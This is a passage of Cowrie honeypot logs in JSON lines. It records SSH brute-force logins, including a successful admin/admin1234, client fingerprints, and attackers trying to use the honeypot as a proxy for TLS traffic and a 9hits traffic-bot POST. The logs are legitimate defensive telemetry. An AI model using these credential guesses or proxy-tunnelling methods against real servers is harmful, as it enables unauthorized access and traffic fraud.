'E\\x15:0\\xa2\\x95Pw\\x13\\x949\\xfaN\\x97Z\\xe7/4\\x1f\\xb8{>%\\xa7;\\xb6D\\xda\\xcfM\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd*\\xa8\\xab \\xd5\\x9b\\xa5Mv\\x96M\\x902\\xbe\\xfb\\xc5\\xdfh\\xf3\\xce\\x93E\\x9d\\x073\\x15R\\xa5\\xe3^f *\\x87Z^/\\x05K\\xe9\\xbf\\xfc\\x00\\x835ou\\xf3\\xf4\\x00u\\xfe\\xcf\\xbe$gR\\x83DD\\xf3z\\xf5\\x11\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 'E\\x15:0\\xa2\\x95Pw\\x13\\x949\\xfaN\\x97Z\\xe7/4\\x1f\\xb8{>%\\xa7;\\xb6D\\xda\\xcfM\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:12.582784Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.107633Z","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.181617Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\r\\xf8\\x91\\xfa\\x99\\x1a\\xd4\\x8d\\xb5\\x83*\\xd5\\x8di\\xbb\\xb48\\xd5\\x96l1\\xfd\\xe3?{p\\xa62\\xa7\\x91` \\xd0\\xea\\xe7\\x83\\xd7gV\\xae@\\xd9\\xf0\\xd9\\xabr\\xe1\\x1a\\xc3\\xe9\\xad\\xff\\x91S\\x85}\\x06\\xad\\xdd\\xe0\\xee\\xee\\x14I\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 M \\x16\\xc1\\x94w\\xc5H\\xbf^\\xe7\\x15k.Y\\xbd\\x83\\x7f\\xfe\\xfe\\xef\\xec\\xd7\\x8dv\\x12n\\xea\\x95\\x88J5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\r\\xf8\\x91\\xfa\\x99\\x1a\\xd4\\x8d\\xb5\\x83*\\xd5\\x8di\\xbb\\xb48\\xd5\\x96l1\\xfd\\xe3?{p\\xa62\\xa7\\x91` \\xd0\\xea\\xe7\\x83\\xd7gV\\xae@\\xd9\\xf0\\xd9\\xabr\\xe1\\x1a\\xc3\\xe9\\xad\\xff\\x91S\\x85}\\x06\\xad\\xdd\\xe0\\xee\\xee\\x14I\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 M \\x16\\xc1\\x94w\\xc5H\\xbf^\\xe7\\x15k.Y\\xbd\\x83\\x7f\\xfe\\xfe\\xef\\xec\\xd7\\x8dv\\x12n\\xea\\x95\\x88J5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.184758Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":57862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d56cc4fb8a1","protocol":"ssh","message":"New connection: 201.17.146.173:57862 (159.203.135.109:22) [session: 6d56cc4fb8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.758450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.763380Z","src_ip":"201.17.146.173","session":"6d56cc4fb8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.795732Z","src_ip":"91.92.40.36","session":"6c1fab4c524d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:13.911123Z","src_ip":"201.17.146.173","session":"6d56cc4fb8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"nico123","message":"login attempt [nico/nico123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:14.488728Z","src_ip":"201.17.146.173","session":"6d56cc4fb8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:15.639389Z","src_ip":"201.17.146.173","session":"6d56cc4fb8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57648,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eed71e80207","protocol":"ssh","message":"New connection: 123.27.168.40:57648 (10.17.0.5:22) [session: 0eed71e80207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:16.797523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:16.802418Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:17.037569Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.6","message":"Connection lost after 33.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:17.171622Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.97976803779602,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.190388Z","src_ip":"128.199.8.54","session":"0d26e9a6ce55","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.200587Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef962384b138","protocol":"ssh","message":"New connection: 91.92.40.36:43076 (159.203.135.109:22) [session: ef962384b138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.549302Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.603753Z","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.806961Z","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:18.948911Z","src_ip":"91.92.40.36","session":"ef962384b138","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.128524Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fW9LQDVRTjhNeiZOSVpjKQ%3D%3DvN669%2FM2CQUhd8fnePng0qpTpaMdMMhcvkIwXjVvCPh8WhrvtcKAx4wgGmjEMA%2Fw6axxd9nV1oujqjrX3OJSWI8GrjswoN6Bjop3v2WyBC6j0sFifTnSFo1uwvDImIe8hIs0HZDOcH5JFLq6BAJj3HGHMDzFuKnAtEqxIEfePSgbDi0al338dtPZhNCd%2F105yMd1syxpLKhhPqaw5XQT3A3SNmjnnFq7Yo5YUYqLer5nnwdNmkbDrjrN9KOSkuuNimfXnwbLeuHykkKBqxTOXqmBzJ0XPKnCoBMlRY8eO4jY%2Fpb1B4zQBHiKagH9lhdQW1MzdrnxoohjSjhhFPD5ysi%2F1ik4k05iLHMqvUQOCrpgIxlEisAcKVeJi5qPsy3QJLklpTkEC4C2uxx9bfCtbgXwX82nmoCF87TWDeJvobU6v9R1h%2BJBgU%2F5eiEDjlHXzysBv7bkehfwUbdDfBVspLz2H4iNc38aVdvuj1fUNbL28lH0wfx13Q6JYLhUEVn6nzQg5zGZnSf4BuJmOO2ebAWsQK1JJ3Wg66A6OEvzr9q%2B8yV7xSAlXEF7hhXj%2BouQqlmKUYUVc3WQUYvIMWLcLMbBmX%2BlMX0GddYjKiub95R%2F4uNVu4UHYUNBaOtci%2FSNe%2Brie498YmvuBVWGv4lb5jahGUJ5nHFzxs%2FXD9tX1sO8lpUNqIHwmHi9soYW3qSeQadFlIRoRKJiH3A4zITibQReJeTGLSYP7qt7P48b1vs1CP6rfLQfVogM%2FheYXZhT%2Bzgzgy8pN22gbwl%2BspUZNqkI7lKhCihS1sjSfC4rgeA6OvQhvC5lIQr9Uhp3c%2Bb4Pd%2BPdrle4FK%2Bqy%2FW%2BTuE%2FJOwIIgSxH4kRLy5xJY09h%2B3sxYYdoT4f0xZHGbb2G0Ar0AK92y6ig3wqvhv6cD0%2BGRi38zqYNV%2Fj0dygLkWI%2BIQrdRe5a7PvPs%2FH0Q3KBY5lB4pDed8LPA8e%2FZuLsQIsW2HAJaU%2BMmz6GH7Kloz81cABLP7gcyvHgPdzJBZLABunKk%2FXkDoZ59ZFsx0sfKwHrQM%2B0Rdci6lAUOCSYAMp%2Fg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: 